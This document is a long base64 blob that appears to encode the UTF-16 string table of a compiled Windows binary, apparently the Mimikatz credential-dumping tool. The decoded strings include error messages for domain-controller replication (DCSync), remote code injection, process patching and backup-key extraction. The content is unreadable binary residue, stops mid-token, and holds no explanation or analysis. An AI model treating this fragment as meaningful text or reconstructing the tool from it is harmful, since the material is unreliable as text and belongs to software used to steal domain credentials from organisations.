AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIAB1AG4AawAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBOAGEAbQBlAEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAdAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABkAHcAUAB1AGIAbABpAGMAUAByAG8AcABlAHIAdABpAGUAcwBMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAGQAdwBQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMATABlAG4AOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAZAB3AFAAcgBpAHYAYQB0AGUASwBlAHkATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIAB1AG4AawBBAHIAcgBhAHkAWwAxADYAXQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAcABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAJQAuACoAcwAKAAAAAAAAACUAKgBzACAAIABwAFAAdQBiAGwAaQBjAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAcABQAHIAaQB2AGEAdABlAFAAcgBvAHAAZQByAHQAaQBlAHMAIAAgACAAIAA6AAoAAAAAAAAAJQAqAHMAIAAgAHAAUAByAGkAdgBhAHQAZQBLAGUAeQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAKAAAAAAAAACUAKgBzACoAKgBLAEUAWQAgAEMATgBHACAAUABSAE8AUABFAFIAVABZACoAKgAKAAAAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAdAByAHUAYwB0AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIAB0AHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAAAAAAAAAlACoAcwAgACAAZAB3AE4AYQBtAGUATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAAAAAAAAAACUAKgBzACAAIABkAHcAUAByAG8AcABlAHIAdAB5AEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABwAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABwAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgADoAIAAAACUAdQAgAGYAaQBlAGwAZAAoAHMAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAG4AZQB0AF8AZwBlAHQARABDACAAOwAgAEQAcwBHAGUAdABEAGMATgBhAG0AZQA6ACAAJQB1AAoAAABhAAAAIgAlAHMAIgAgAHMAZQByAHYAaQBjAGUAIABwAGEAdABjAGgAZQBkAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAFMAZQByAHYAaQBjAGUAIABpAHMAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAHYAZQByAHMAaQBvAG4AIABpAG4AIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8ATwBwAGUAbgBBAG4AZABRAHUAZQByAHkAVwBpAHQAaABBAGwAbABvAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEsATwAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBPAHAAZQBuAEEAbgBkAFEAdQBlAHIAeQBXAGkAdABoAEEAbABsAG8AYwAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAASwBPAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAE8AcABlAG4AQQBuAGQAUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAFIAdABsAEMAcgBlAGEAdABlAFUAcwBlAHIAVABoAHIAZQBhAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAVABoAHIAZQBhAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFQAaAAgAEAAIAAlAHAACgBEAGEAIABAACAAJQBwAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGsAZQByAG4AZQBsAF8AaQBvAGMAdABsAF8AaABhAG4AZABsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGEAbABsAG8AYwAgAC8AIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEUAeAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgADsAIABOAG8AIABiAHUAZgBmAGUAcgAgAD8ACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQAQQB1AHQAaABJAG4AZgBvAEUAeAA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAE4AbwAgAEIAaQBuAGQAaQBuAGcAIQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcARgByAG8AbQBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBTAHQAcgBpAG4AZwBCAGkAbgBkAGkAbgBnAEMAbwBtAHAAbwBzAGUAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8ARwBlAG4AZQByAGkAYwBfAEQAZQBjAG8AZABlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARABlAGMAbwBkAGUAIAA7ACAATQBlAHMASQBuAGMAcgBlAG0AZQBuAHQAYQBsAEgAYQBuAGQAbABlAFIAZQBzAGUAdAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARABlAGMAbwBkAGUAIAA7ACAATQBlAHMARABlAGMAbwBkAGUASQBuAGMAcgBlAG0AZQBuAHQAYQBsAEgAYQBuAGQAbABlAEMAcgBlAGEAdABlADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8ARwBlAG4AZQByAGkAYwBfAEYAcgBlAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARgByAGUAZQAgADsAIABNAGUAcwBEAGUAYwBvAGQAZQBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAQwByAGUAYQB0AGUAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBHAGUAbgBlAHIAaQBjAF8ARQBuAGMAbwBkAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABNAGUAcwBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAUgBlAHMAZQB0ADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABNAGUAcwBFAG4AYwBvAGQAZQBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAQwByAGUAYQB0AGUAOgAgACUAMAA4AHgACgAAAAAAAABQAHIAbwB0AGUAYwB0AGUAZABTAHQAbwByAGEAZwBlAAAAAAAAAAAAXABwAGkAcABlAFwAcAByAG8AdABlAGMAdABlAGQAXwBzAHQAbwByAGEAZwBlAAAAbgBjAGEAYwBuAF8AbgBwAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AYgBrAHIAcABfAGcAZQBuAGUAcgBpAGMAIAA7ACAAQgBhAGMAawB1AHAAcgBLAGUAeQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAFEAdQBlAHIAeQBDAG8AbgB0AGUAeAB0AEEAdAB0AHIAaQBiAHUAdABlAHMAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABJAF8AUgBwAGMAQgBpAG4AZABpAG4AZwBJAG4AcQBTAGUAYwB1AHIAaQB0AHkAQwBvAG4AdABlAHgAdAAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAEkAbgBjAG8AcgByAGUAYwB0ACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQAIABTAGkAegBlACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAEkARABMAF8ARABSAFMAQgBpAG4AZAA6ACAAJQB1AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABOAE8AXwBFAFIAUgBPAFIAAAAAAAAAAABFAFIAUgBPAFIAXwBSAEUAUwBPAEwAVgBJAE4ARwAAAEUAUgBSAE8AUgBfAE4ATwBUAF8ARgBPAFUATgBEAAAARQBSAFIATwBSAF8ATgBPAFQAXwBVAE4ASQBRAFUARQAAAAAAAAAAAEUAUgBSAE8AUgBfAE4ATwBfAE0AQQBQAFAASQBOAEcAAAAAAAAAAABFAFIAUgBPAFIAXwBEAE8ATQBBAEkATgBfAE8ATgBMAFkAAAAAAAAARQBSAFIATwBSAF8ATgBPAF8AUwBZAE4AVABBAEMAVABJAEMAQQBMAF8ATQBBAFAAUABJAE4ARwAAAAAAAAAAAEUAUgBSAE8AUgBfAFQAUgBVAFMAVABfAFIARQBGAEUAUgBSAEEATAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwAgACgAbgBhAG0AZQAgAHMAdABhAHQAdQBzACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAgAC0AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAG4AbwAgAGkAdABlAG0AIQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIABiAGEAZAAgAHYAZQByAHMAaQBvAG4AIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwBoAGUAYwBrAHMAdQBtAHMAIABkAG8AbgAnAHQAIABtAGEAdABjAGgAIAAoAEMAOgAwAHgAJQAwADgAeAAgAC0AIABSADoAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBhAGwAYwB1AGwAYQB0AGUAIABDAFIAQwAzADIACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAHYAYQBsAGkAZAAgAGQAYQB0AGEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AbwAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8AQwBSAEEAQwBLAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAbgBhAG0AZQBDAHIAYQBjAGsATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAJQB3AFoAAAAlADAAMgB4AAAAAAAAAAAAJQAwADIAeAAgAAAAAAAAADAAeAAlADAAMgB4ACwAIAAAAAAAAAAAAFwAeAAlADAAMgB4AAAAAAAKAEIAWQBUAEUAIABkAGEAdABhAFsAXQAgAD0AIAB7AAoACQAAAAAACQAAAAAAAAAKAH0AOwAKAAAAAAAAAAAAJQBzACAAAAAlAHMAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGQAaQBzAHAAbABhAHkAUwBJAEQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFUAcwBlAHIAAAAAAAAAAABHAHIAbwB1AHAAAAAAAAAARABvAG0AYQBpAG4AAAAAAEEAbABpAGEAcwAAAAAAAABXAGUAbABsAEsAbgBvAHcAbgBHAHIAbwB1AHAAAAAAAEQAZQBsAGUAdABlAGQAQQBjAGMAbwB1AG4AdAAAAAAASQBuAHYAYQBsAGkAZAAAAFUAbgBrAG4AbwB3AG4AAABDAG8AbQBwAHUAdABlAHIAAAAAAAAAAABMAGEAYgBlAGwAAAAAAAAAdQBuAGsAIQAAAAAAAAAAAFQAbwBrAGUAbgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHgAbQBsAF8AQwByAGUAYQB0AGUAQQBuAGQASQBuAGkAdABEAE8ATQAgADsAIABDAG8AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AeABtAGwAXwBMAG8AYQBkAFgATQBMAEYAaQBsAGUAIAA7ACAASQBYAE0ATABEAE8ATQBEAG8AYwB1AG0AZQBuAHQAXwBsAG8AYQBkADoAIAAwAHgAJQAwADgAeAAKAAAAAAAwAAAAMQAAAAAAAAAlSDolTTolUwAAAAAAAAAAY3VycmVudF90aW1lAAAAACVZLSVtLSVkAAAAAAAAAABjdXJyZW50X2RhdGUAAAAAJVktJW0tJWQgJUg6JU06JVMAAAAAAAAAY3VycmVudF90aW1lc3RhbXAAAAAAAAAAZmFpbGVkIHRvIGFsbG9jYXRlICV1IGJ5dGVzIG9mIG1lbW9yeQAAAGZhaWxlZCBtZW1vcnkgcmVzaXplICV1IHRvICV1IGJ5dGVzACUAAABOVUxMAAAAAChOVUxMKQAALgAAAAAAAAA5MjIzMzcyMDM2ODU0Nzc1ODAAAAAAAABBUEkgY2FsbCB3aX